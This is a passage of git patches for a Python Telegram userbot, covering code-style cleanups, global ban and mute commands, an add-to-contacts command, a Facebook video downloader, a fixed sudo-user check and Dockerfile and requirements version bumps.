telethon.tl.types import InputMessagesFilterDocument -import telethon -from telethon import Button, custom, events, functions -from pymediainfo import MediaInfo -from telethon.tl.types import MessageMediaPhoto -from typing import Union + +from virtualuserbot.utils import load_module + SIZE_UNITS = ["B", "KB", "MB", "GB", "TB", "PB"] BASE_URL = "https://isubtitles.org" -from virtualuserbot.Configs import Config -import zipfile import os +import zipfile + import aiohttp +from virtualuserbot.Configs import Config sedpath = Config.TMP_DOWNLOAD_DIRECTORY from virtualuserbot import logging @@ -54,14 +54,15 @@ logger = logging.getLogger("[--WARNING--]") if not os.path.isdir(sedpath): os.makedirs(sedpath) - + # Deethon // @aykxt session = aiohttp.ClientSession() + async def fetch_json(link): async with session.get(link) as resp: return await resp.json() - + def get_readable_file_size(size_in_bytes: Union[int, float]) -> str: if size_in_bytes is None: @@ -93,7 +94,8 @@ def get_readable_time(secs: float) -> str: seconds = int(seconds) result += f"{seconds}s" return result - + + # Thanks To Userge-X async def runcmd(cmd: str) -> Tuple[str, str, int, int]: """ run command in terminal """ @@ -110,7 +112,6 @@ async def runcmd(cmd: str) -> Tuple[str, str, int, int]: ) - async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() @@ -152,6 +153,7 @@ def humanbytes(size): raised_to_pow += 1 return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B" + async def get_all_modules(event, borg, channel_id): await event.edit(f"Ìnstalling All Plugins from {channel_id}") try: @@ -162,7 +164,9 @@ async def get_all_modules(event, borg, channel_id): search=".py", ) except: - await event.edit("`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`") + await event.edit( + "`Failed To Retrieve Modules. Please Check Channel Username / Id. Make Sure You Are On That Channel`" + ) return yesm = 0 nom = 0 @@ -173,30 +177,38 @@ async def get_all_modules(event, borg, channel_id): await event.edit(f"**Found : {len_p} Plugins. Trying To Install**") for sed in a_plugins: try: - downloaded_file_name = await borg.download_media(sed, "virtualuserbot/modules/") + downloaded_file_name = await borg.download_media( + sed, "virtualuserbot/modules/" + ) if "(" not in downloaded_file_name: path1 = Path(downloaded_file_name) shortname = path1.stem load_module(shortname.replace(".py", "")) - await event.edit("**Installed :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) + await event.edit( + "**Installed :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) else: nom += 1 - await event.edit("**Failed to Install [PLugin Already Found] :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) + await event.edit( + "**Failed to Install [PLugin Already Found] :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) os.remove(downloaded_file_name) except: - await event.edit("**Failed To Install :** `{}`".format(os.path.basename(downloaded_file_name) - ) - ) - os.remove(downloaded_file_name) - nom += 1 - pass + await event.edit( + "**Failed To Install :** `{}`".format( + os.path.basename(downloaded_file_name) + ) + ) + os.remove(downloaded_file_name) + nom += 1 yesm = len_p - nom return yesm, nom, len_p + def time_formatter(milliseconds: int) -> str: """Inputs time in milliseconds, to get beautified time, as string""" @@ -205,11 +217,11 @@ def time_formatter(milliseconds: int) -> str: hours, minutes = divmod(minutes, 60) days, hours = divmod(hours, 24) tmp = ( - ((str(days) + " day(s), ") if days else "") - + ((str(hours) + " hour(s), ") if hours else "") - + ((str(minutes) + " minute(s), ") if minutes else "") - + ((str(seconds) + " second(s), ") if seconds else "") - + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") + ((str(days) + " day(s), ") if days else "") + + ((str(hours) + " hour(s), ") if hours else "") + + ((str(minutes) + " minute(s), ") if minutes else "") + + ((str(seconds) + " second(s), ") if seconds else "") + + ((str(milliseconds) + " millisecond(s), ") if milliseconds else "") ) return tmp[:-2] @@ -219,14 +231,14 @@ def time_formatter(milliseconds: int) -> str: async def convert_to_image(event, borg): lmao = await event.get_reply_message() if not ( - lmao.gif - or lmao.audio - or lmao.voice - or lmao.video - or lmao.video_note - or lmao.photo - or lmao.sticker - or lmao.media + lmao.gif + or lmao.audio + or lmao.voice + or lmao.video + or lmao.video_note + or lmao.photo + or lmao.sticker + or lmao.media ): await event.edit("`Format Not Supported.`") return @@ -308,7 +320,7 @@ async def crop_vid(input_vid: str, final_path: str): # Thanks To Userge-X async def take_screen_shot( - video_file: str, duration: int, path: str = "" + video_file: str, duration: int, path: str = "" ) -> Optional[str]: """ take a screenshot """ logger.info( @@ -422,8 +434,8 @@ async def get_subtitles(imdb_id, borg, event): sub_name_tag = row.find("td", class_=None) sub_name = ( str(sub_name_tag.find("a").text) - .replace("subtitle", "") - .replace("\n", "") + .replace("subtitle", "") + .replace("\n", "") ) sub = (sub_name, sub_link) subtitles.append(sub) @@ -445,43 +457,51 @@ async def get_subtitles(imdb_id, borg, event): # Thanks To TechoAryan For Scarpping async def apk_dl(app_name, path, event): - await event.edit('`Searching, For Apk File. This May Take Time Depending On Your App Size`') + await event.edit( + "`Searching, For Apk File. This May Take Time Depending On Your App Size`" + ) res = requests.get(f"https://m.apkpure.com/search?q={app_name}") - soup = BeautifulSoup(res.text, 'html.parser') - result = soup.select('.dd') + soup = BeautifulSoup(res.text, "html.parser") + result = soup.select(".dd") for link in result[:1]: - s_for_name = requests.get("https://m.apkpure.com" + link.get('href')) - sfn = BeautifulSoup(s_for_name.text, 'html.parser') - ttl = sfn.select_one('title').text - noneed = [' - APK Download'] + s_for_name = requests.get("https://m.apkpure.com" + link.get("href")) + sfn = BeautifulSoup(s_for_name.text, "html.parser") + ttl = sfn.select_one("title").text + noneed = [" - APK Download"] for i in noneed: - name = ttl.replace(i, '') - res2 = requests.get("https://m.apkpure.com" + link.get('href') + "/download?from=details") - soup2 = BeautifulSoup(res2.text, 'html.parser') - result = soup2.select('.ga') + name = ttl.replace(i, "") + res2 = requests.get( + "https://m.apkpure.com" + link.get("href") + "/download?from=details" + ) + soup2 = BeautifulSoup(res2.text, "html.parser") + result = soup2.select(".ga") for link in result: - dl_link = link.get('href') + dl_link = link.get("href") r = requests.get(dl_link) - with open(f"{path}/{name}@VirtualUserbot.apk", 'wb') as f: + with open(f"{path}/{name}@VirtualUserbot.apk", "wb") as f: f.write(r.content) - await event.edit('`Apk, Downloaded. Let me Upload It here.`') - final_path = f'{path}/{name}@VirtualUserbot.apk' + await event.edit("`Apk, Downloaded. Let me Upload It here.`") + final_path = f"{path}/{name}@VirtualUserbot.apk" return final_path, name + async def check_if_subbed(channel_id, event, bot): try: - result = await bot( - functions.channels.GetParticipantRequest( - channel=channel_id, user_id=event.sender_id - ) + result = await bot( + functions.channels.GetParticipantRequest( + channel=channel_id, user_id=event.sender_id ) - if result.participant: - return True + ) + if result.participant: + return True except telethon.errors.rpcerrorlist.UserNotParticipantError: return False - + + async def _ytdl(url, is_it, event, tgbot): - await event.edit("`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**") + await event.edit( + "`Ok Downloading This Video / Audio - Please Wait.` \n**Powered By @VirtualUserbot**" + ) if is_it: opts = { "format": "bestaudio", @@ -538,13 +558,18 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp3", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Audio To TG**", f"{ytdl_data['title']}.mp3" + d, + t, + event, + c_time, + "**Uploading Audio To TG**", + f"{ytdl_data['title']}.mp3", ) ), ) await event.edit( file=lol_m, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**", ) os.remove(f"{ytdl_data['id']}.mp3") elif video: @@ -557,29 +582,34 @@ async def _ytdl(url, is_it, event, tgbot): file=f"{ytdl_data['id']}.mp4", progress_callback=lambda d, t: asyncio.get_event_loop().create_task( progress( - d, t, event, c_time, "**Uploading Video To TG**", f"{ytdl_data['title']}.mp4" + d, + t, + event, + c_time, + "**Uploading Video To TG**", + f"{ytdl_data['title']}.mp4", ) ), ) await event.edit( - file=hmmo, - text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" + file=hmmo, text=f"{ytdl_data['title']} \n**Uploaded Using @VirtualUserbot**" ) os.remove(f"{ytdl_data['id']}.mp4") - + + async def get_all_admin_chats(event): lul_stark = [] all_chats = [ d.entity - for d in await event.client.get_dialogs() - if (d.is_group or d.is_channel) - ] + for d in await event.client.get_dialogs() + if (d.is_group or d.is_channel) + ] for i in all_chats: if i.creator or i.admin_rights: lul_stark.append(i.id) return lul_stark - + async def is_admin(event, user): sed = await event.client.get_permissions(event.chat_id, user) if sed.is_admin: @@ -587,4 +617,3 @@ async def is_admin(event, user): else: is_mod = False return is_mod - diff --git a/virtualuserbot/modules/gtools.py b/virtualuserbot/modules/gtools.py index 46c2e06d..88110960 100644 --- a/virtualuserbot/modules/gtools.py +++ b/virtualuserbot/modules/gtools.py @@ -13,38 +13,17 @@ import asyncio -from telethon.events import ChatAction -from telethon.tl.functions.contacts import BlockRequest, UnblockRequest +from telethon.events import ChatAction, NewMessage from telethon.tl.types import MessageEntityMentionName + from virtualuserbot import CMD_HELP -from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute -from virtualuserbot.utils import friday_on_cmd from virtualuserbot.function import get_all_admin_chats, is_admin from virtualuserbot.modules.sql_helper import gban_sql -from telethon.events import ChatAction, NewMessage -from telethon.tl.types import ( - ChannelParticipantsAdmins, - ChatAdminRights, - ChatBannedRights, - MessageEntityMentionName, - MessageMediaPhoto, -) -from telethon.errors import ( - BadRequestError, - ChatAdminRequiredError, - ImageProcessFailedError, - PhotoCropSizeSmallError, - UserAdminInvalidError, -) -from telethon.errors.rpcerrorlist import MessageTooLongError, UserIdInvalidError -from telethon.tl.functions.channels import ( - EditAdminRequest, - EditBannedRequest, - EditPhotoRequest, -) +from virtualuserbot.modules.sql_helper.mute_sql import is_muted, mute, unmute +from virtualuserbot.utils import friday_on_cmd -@friday.on(friday_on_cmd(pattern='gban(?: |$)(.*)')) +@friday.on(friday_on_cmd(pattern="gban(?: |$)(.*)")) async def gbun(event): await event.edit("**GBanning User**") sucess = 0 @@ -61,25 +40,33 @@ async def gbun(event): await event.edit("**I Can't Gban You Master :(**") return if gban_sql.is_gbanned(user.id): - await event.edit("**This User Is Already Gbanned. No Point In Gbanning Him Again !**") + await event.edit( + "**This User Is Already Gbanned. No Point In Gbanning Him Again !**" + ) return gban_sql.gban_user(user.id, hmm_r) chat_s = await get_all_admin_chats(event) if len(chat_s) == 0: - await event.edit("**You Need To Be Admin In Atleast 1 Group To Perform this Action**") + await event.edit( + "**You Need To Be Admin In Atleast 1 Group To Perform this Action**" + ) return len_s = len(chat_s) - await event.edit(f"**GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**") + await event.edit( + f"**GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**" + ) for stark_s in chat_s: try: - await event.client.edit_permissions(stark_s, user.id, view_messages=False) - sucess += 1 + await event.client.edit_permissions(stark_s, user.id, view_messages=False) + sucess += 1 except: - bad += 0 - await event.edit(f"**GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**") - - -@friday.on(friday_on_cmd(pattern='ungban(?: |$)(.*)')) + bad += 0 + await event.edit( + f"**GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**" + ) + + +@friday.on(friday_on_cmd(pattern="ungban(?: |$)(.*)")) async def ungbun(event): await event.edit("**Un-GBanning User**") sucess = 0 @@ -97,17 +84,24 @@ async def ungbun(event): gban_sql.ungban_user(user.id) chat_s = await get_all_admin_chats(event) if len(chat_s) == 0: - await event.edit("**You Need To Be Admin In Atleast 1 Group To Perform this Action**") + await event.edit( + "**You Need To Be Admin In Atleast 1 Group To Perform this Action**" + ) return len_s = len(chat_s) - await event.edit(f"**Un-GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**") + await event.edit( + f"**Un-GBanning !** [{user.first_name}](tg://user?id={user.id}) **in {len_s} Chats!**" + ) for stark_s in chat_s: try: - await event.client.edit_permissions(stark_s, user.id, view_messages=True) - sucess += 1 + await event.client.edit_permissions(stark_s, user.id, view_messages=True) + sucess += 1 except: - bad += 0 - await event.edit(f"**Un-GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**") + bad += 0 + await event.edit( + f"**Un-GBanned !**[{user.first_name}](tg://user?id={user.id}) **in {sucess} Chats!**" + ) + @friday.on(ChatAction) async def starky(event): @@ -117,11 +111,16 @@ async def starky(event): sadly = await event.get_user() if gban_sql.is_gbanned(sadly.id): try: - await event.client.edit_permissions(event.chat_id, sadly.id, view_messages=False) - await event.reply(f"**#GBanned-User** \nUserID : {sadly.id} \nReason : {gban_sql.is_gbanned(sadly.id)}") + await event.client.edit_permissions( + event.chat_id, sadly.id, view_messages=False + ) + await event.reply( + f"**#GBanned-User** \nUserID : {sadly.id} \nReason : {gban_sql.is_gbanned(sadly.id)}" + ) except: pass - + + @friday.on(NewMessage) async def mi(event): sed = event.sender_id @@ -131,10 +130,13 @@ async def mi(event): if await is_admin(event, hmm.id): if gban_sql.is_gbanned(sed): try: - await event.client.edit_permissions(event.chat_id, sed, view_messages=False) + await event.client.edit_permissions( + event.chat_id, sed, view_messages=False + ) except: pass - + + async def get_user_from_event(event): """ Get the user from argument or replied message. """ args = event.pattern_match.group(1).split(" ", 1) @@ -162,7 +164,7 @@ async def get_user_from_event(event): user_id = probable_user_mention_entity.user_id user_obj = await event.client.get_entity(user_id) return user_obj - + try: user_obj = await event.client.get_entity(user) except (TypeError, ValueError) as err: @@ -192,7 +194,6 @@ async def get_user_sender_id(user, event): return user_obj - @friday.on(friday_on_cmd(pattern=r"gmute ?(\d+)?")) async def startgmute(event): private = False diff --git a/virtualuserbot/modules/sql_helper/gban_sql.py b/virtualuserbot/modules/sql_helper/gban_sql.py index 18927e9b..10930fc1 100644 --- a/virtualuserbot/modules/sql_helper/gban_sql.py +++ b/virtualuserbot/modules/sql_helper/gban_sql.py @@ -13,6 +13,7 @@ from sqlalchemy import Column, String, UnicodeText + from virtualuserbot.modules.sql_helper import BASE, SESSION @@ -41,7 +42,8 @@ def gban_data(user_id: int): return int(s__.user_id), s__.reason finally: SESSION.close() - + + def is_gbanned(user_id: int): try: s__ = SESSION.query(Gban).get(str(user_id)) @@ -50,9 +52,9 @@ def is_gbanned(user_id: int): finally: SESSION.close() + def ungban_user(user_id): ungbanner = SESSION.query(Gban).get(str(user_id)) if ungbanner: SESSION.delete(ungbanner) SESSION.commit() - From 5b6074eb52cd178b11c92f6a587a6385578ccbd1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:42:50 +0530 Subject: [PATCH 748/838] Update profile.py --- virtualuserbot/modules/profile.py | 30 ++++++++++++++++++++++++++++-- 1 file changed, 28 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/profile.py b/virtualuserbot/modules/profile.py index e34f3f8b..e00ecfbe 100644 --- a/virtualuserbot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -3,11 +3,37 @@ .pname .ppic""" import os - +import asyncio from telethon.tl import functions from uniborg.util import friday_on_cmd - from virtualuserbot import CMD_HELP +from telethon import functions, types + + +@friday.on(friday_on_cmd(pattern="a2c(?: |$)(.*)")) +async def _(event): + hmmk = event.pattern_match.group(1) + if event.reply_to_msg_id: + hmm = await event.get_reply_message() + id_s = hmm.sender_id + elif event.pattern_match.group(1): + id_s = event.pattern_match.group(1) + elif event.is_private: + id_s = await event.get_input_chat() + user_s = await event.client.get_entity(id_s) + if user_s.last_name is None: + sed_m = " " + else: + sed_m = user_s.last_name + await event.client(functions.contacts.AddContactRequest( + id=id_s, + first_name=user_s.first_name, + last_name=sed_m, + phone='123456', + add_phone_privacy_exception=True)) + star = await event.edit("**Added To Contacts SucessFully**") + await asyncio.sleep(3) + await star.delete() @friday.on(friday_on_cmd(pattern="pbio (.*)")) # pylint:disable=E0602 From 175e087d3ff3c5525572a81cbe8cf11712fb170d Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:13:36 +0000 Subject: [PATCH 749/838] pylint: auto fixes --- virtualuserbot/modules/profile.py | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/virtualuserbot/modules/profile.py b/virtualuserbot/modules/profile.py index e00ecfbe..42ae10b3 100644 --- a/virtualuserbot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -2,20 +2,22 @@ .pbio .pname .ppic""" -import os import asyncio +import os + +from telethon import functions from telethon.tl import functions from uniborg.util import friday_on_cmd + from virtualuserbot import CMD_HELP -from telethon import functions, types @friday.on(friday_on_cmd(pattern="a2c(?: |$)(.*)")) async def _(event): - hmmk = event.pattern_match.group(1) + event.pattern_match.group(1) if event.reply_to_msg_id: hmm = await event.get_reply_message() - id_s = hmm.sender_id + id_s = hmm.sender_id elif event.pattern_match.group(1): id_s = event.pattern_match.group(1) elif event.is_private: @@ -25,15 +27,18 @@ async def _(event): sed_m = " " else: sed_m = user_s.last_name - await event.client(functions.contacts.AddContactRequest( - id=id_s, - first_name=user_s.first_name, - last_name=sed_m, - phone='123456', - add_phone_privacy_exception=True)) + await event.client( + functions.contacts.AddContactRequest( + id=id_s, + first_name=user_s.first_name, + last_name=sed_m, + phone="123456", + add_phone_privacy_exception=True, + ) + ) star = await event.edit("**Added To Contacts SucessFully**") await asyncio.sleep(3) - await star.delete() + await star.delete() @friday.on(friday_on_cmd(pattern="pbio (.*)")) # pylint:disable=E0602 From 61b5c59cb9220ab506582e790aaa8e498a2f293c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:44:36 +0530 Subject: [PATCH 750/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index fcc25df5..807c967d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -22,7 +22,7 @@ bs4 coffeehouse cowpy nltk -emoji +emoji==0.6.0 gTTS-token>=1.1.3 gTTS>=2.0.1 geopy From 0b1ef62e81a12e13de89dee34d7cdcc0772223c5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:45:57 +0530 Subject: [PATCH 751/838] Update Dockerfile --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index b791a6f5..08cb36f2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -57,7 +57,7 @@ RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi RUN rm -r /root/.cache RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb -RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip +RUN axel https://chromedriver.storage.googleapis.com/88.0.4324.96/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip RUN git clone https://github.com/inukaasith/virtualuserbot /root/virtualuserbot RUN mkdir /root/virtualuserbot/bin/ From 374f32158a34982172ddc5fbf5d1e506b69a3c7a Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:47:27 +0530 Subject: [PATCH 752/838] Facebook Privacy 1st --- virtualuserbot/modules/fbdl.py | 80 ++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 virtualuserbot/modules/fbdl.py diff --git a/virtualuserbot/modules/fbdl.py b/virtualuserbot/modules/fbdl.py new file mode 100644 index 00000000..7db191f7 --- /dev/null +++ b/virtualuserbot/modules/fbdl.py @@ -0,0 +1,80 @@ +from datetime import datetime +import requests +import re +import html +import os +from virtualuserbot import CMD_HELP, sclient +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + +fridaythumb = "./resources/IMG_20200929_103719_628.jpg" + + +def main(url, filename): + try: + download_video("HD", url, filename) + except(KeyboardInterrupt): + download_video("SD", url, filename) + + +def download_video(quality, url, filename): + html = requests.get(url).content.decode('utf-8') + video_url = re.search(rf'{quality.lower()}_src:"(.+?)"', html).group(1) + file_size_request = requests.get(video_url, stream=True) + file_size = int(file_size_request.headers['Content-Length']) + block_size = 1024 + with open(filename + '.mp4', 'wb') as f: + for data in file_size_request.iter_content(block_size): + f.write(data) + print("\nVideo downloaded successfully.") + + +@friday.on(admin_cmd(pattern="fbdl (.*)")) +async def _(event): + if event.fwd_from: + return + url = event.pattern_match.group(1) + x = re.match(r'^(https:|)[/][/]www.([^/]+[.])*facebook.com', url) + + if x: + html = requests.get(url).content.decode('utf-8') + else: + await event.edit("This Video Is Either Private Or URL Is Invalid. Exiting... ") + return + + _qualityhd = re.search('hd_src:"https', html) + _qualitysd = re.search('sd_src:"https', html) + _hd = re.search('hd_src:null', html) + _sd = re.search('sd_src:null', html) + + list = [] + _thelist = [_qualityhd, _qualitysd, _hd, _sd] + for id,val in enumerate(_thelist): + if val != None: + list.append(id) + filename = datetime.strftime(datetime.now(), '%Y-%m-%d-%H-%M-%S') + + main(url, filename) + await event.edit("Video Downloaded Successfully. Starting To Upload.") + + kk = f"{filename}.mp4" + caption= f"Facebook Video Successfully by Fridaybot.\nGet Your Fridaybot From @Fridayot." + + await borg.send_message( + event.chat_id, + caption, + thumb=fridaythumb, + parse_mode="HTML", + file=kk, + force_document=True, + allow_cache=False, + ) + os.system(f"rm {kk}") + + +CMD_HELP.update( + { + "facebookDL": "**Facebook Video Downloader**\ +\n\n**Syntax : **`.fbdl `\ +\n**Usage :** Downlosds The Facebook Video." + } +) From 6a5e097b8750d0243b30383ba21170e2d0b0598e Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:18:14 +0000 Subject: [PATCH 753/838] pylint: auto fixes --- virtualuserbot/modules/fbdl.py | 53 ++++++++++++++++++---------------- 1 file changed, 28 insertions(+), 25 deletions(-) diff --git a/virtualuserbot/modules/fbdl.py b/virtualuserbot/modules/fbdl.py index 7db191f7..8e66bf0e 100644 --- a/virtualuserbot/modules/fbdl.py +++ b/virtualuserbot/modules/fbdl.py @@ -1,10 +1,11 @@ +import os +import re from datetime import datetime + import requests -import re -import html -import os -from virtualuserbot import CMD_HELP, sclient -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd, admin_cmd + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd fridaythumb = "./resources/IMG_20200929_103719_628.jpg" @@ -12,17 +13,17 @@ def main(url, filename): try: download_video("HD", url, filename) - except(KeyboardInterrupt): + except (KeyboardInterrupt): download_video("SD", url, filename) def download_video(quality, url, filename): - html = requests.get(url).content.decode('utf-8') + html = requests.get(url).content.decode("utf-8") video_url = re.search(rf'{quality.lower()}_src:"(.+?)"', html).group(1) file_size_request = requests.get(video_url, stream=True) - file_size = int(file_size_request.headers['Content-Length']) + int(file_size_request.headers["Content-Length"]) block_size = 1024 - with open(filename + '.mp4', 'wb') as f: + with open(filename + ".mp4", "wb") as f: for data in file_size_request.iter_content(block_size): f.write(data) print("\nVideo downloaded successfully.") @@ -33,40 +34,42 @@ async def _(event): if event.fwd_from: return url = event.pattern_match.group(1) - x = re.match(r'^(https:|)[/][/]www.([^/]+[.])*facebook.com', url) + x = re.match(r"^(https:|)[/][/]www.([^/]+[.])*facebook.com", url) if x: - html = requests.get(url).content.decode('utf-8') + html = requests.get(url).content.decode("utf-8") else: await event.edit("This Video Is Either Private Or URL Is Invalid. Exiting... ") return _qualityhd = re.search('hd_src:"https', html) _qualitysd = re.search('sd_src:"https', html) - _hd = re.search('hd_src:null', html) - _sd = re.search('sd_src:null', html) + _hd = re.search("hd_src:null", html) + _sd = re.search("sd_src:null", html) list = [] _thelist = [_qualityhd, _qualitysd, _hd, _sd] - for id,val in enumerate(_thelist): + for id, val in enumerate(_thelist): if val != None: list.append(id) - filename = datetime.strftime(datetime.now(), '%Y-%m-%d-%H-%M-%S') + filename = datetime.strftime(datetime.now(), "%Y-%m-%d-%H-%M-%S") main(url, filename) await event.edit("Video Downloaded Successfully. Starting To Upload.") - + kk = f"{filename}.mp4" - caption= f"Facebook Video Successfully by Fridaybot.\nGet Your Fridaybot From @Fridayot." - + caption = ( + f"Facebook Video Successfully by Fridaybot.\nGet Your Fridaybot From @Fridayot." + ) + await borg.send_message( - event.chat_id, - caption, - thumb=fridaythumb, - parse_mode="HTML", - file=kk, - force_document=True, - allow_cache=False, + event.chat_id, + caption, + thumb=fridaythumb, + parse_mode="HTML", + file=kk, + force_document=True, + allow_cache=False, ) os.system(f"rm {kk}") From 19801e6b856cd00e4f5a5b413d0f9002c0ae4e2d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:51:03 +0530 Subject: [PATCH 754/838] Update utils.py --- virtualuserbot/utils.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index 9a3dd555..0135f43e 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -560,10 +560,8 @@ def decorator(func): @functools.wraps(func) async def wrapper(event): kek = list(Config.SUDO_USERS) - mm = bot.uid - if event.sender_id == mm: - await func(event) - elif event.sender_id == kek: + kek.append(bot.uid) + if event.sender_id in kek: await func(event) else: await event.reply("Only Owners, Sudo Users Can Use This Command.") @@ -621,10 +619,8 @@ def decorator(func): @functools.wraps(func) async def wrapper(event): kek = list(Config.SUDO_USERS) - mm = bot.uid - if event.sender_id == mm: - await func(event) - elif event.sender_id == kek: + kek.append(bot.uid) + if event.sender_id in kek: await func(event) else: pass @@ -634,6 +630,7 @@ async def wrapper(event): return decorator + def only_pvt(): def decorator(func): @functools.wraps(func) From cd025924f07ac4d58c76853c377c11d456af9109 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:21:56 +0000 Subject: [PATCH 755/838] pylint: auto fixes --- virtualuserbot/utils.py | 1 - 1 file changed, 1 deletion(-) diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index 0135f43e..8e889afe 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -630,7 +630,6 @@ async def wrapper(event): return decorator - def only_pvt(): def decorator(func): @functools.wraps(func) From beac83ba100c2bb5d7b4e58f2222478585a51470 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:53:29 +0530 Subject: [PATCH 756/838] Update labstack.py --- virtualuserbot/modules/labstack.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/labstack.py b/virtualuserbot/modules/labstack.py index 7ceffd50..ac8c440d 100644 --- a/virtualuserbot/modules/labstack.py +++ b/virtualuserbot/modules/labstack.py @@ -15,11 +15,11 @@ # limitations under the License. import os import subprocess - +from virtualuserbot.utils import admin_cmd import requests -@command(pattern="^.labstack ?(.*)") +@friday.on(admin_cmd(pattern="labstack ?(.*)") async def labstack(event): if event.fwd_from: return From bfc67a35103c3cee87d6360ba7ab9f0656bcbaf0 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:54:16 +0530 Subject: [PATCH 757/838] Update labstack.py --- virtualuserbot/modules/labstack.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/virtualuserbot/modules/labstack.py b/virtualuserbot/modules/labstack.py index ac8c440d..c4d39daf 100644 --- a/virtualuserbot/modules/labstack.py +++ b/virtualuserbot/modules/labstack.py @@ -1,13 +1,9 @@ -# Copyright 2019 - 2020 DarkPrinc3 +# Copyright 2019 - 2020-2021 DarkPrinc3 # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at - # http://www.apache.org/licenses/LICENSE-2.0 - -import json - # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. @@ -15,11 +11,11 @@ # limitations under the License. import os import subprocess -from virtualuserbot.utils import admin_cmd +from fridaybot.utils import admin_cmd import requests +import json - -@friday.on(admin_cmd(pattern="labstack ?(.*)") +@friday.on(admin_cmd(pattern="labstack ?(.*)")) async def labstack(event): if event.fwd_from: return From b5b9298e181182c4aa7da40b0d3698086a10b5e0 Mon Sep 17 00:00:00 2001 From: inukaasith Date: Tue, 26 Jan 2021 18:24:43 +0000 Subject: [PATCH 758/838] SeD Replacer --- virtualuserbot/modules/labstack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/labstack.py b/virtualuserbot/modules/labstack.py index c4d39daf..60f1358b 100644 --- a/virtualuserbot/modules/labstack.py +++ b/virtualuserbot/modules/labstack.py @@ -11,7 +11,7 @@ # limitations under the License. import os import subprocess -from fridaybot.utils import admin_cmd +from virtualuserbot.utils import admin_cmd import requests import json From ecd1963c3ffec86f5163cb172501bf427cf39f75 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:55:29 +0530 Subject: [PATCH 759/838] Update welcome.py --- 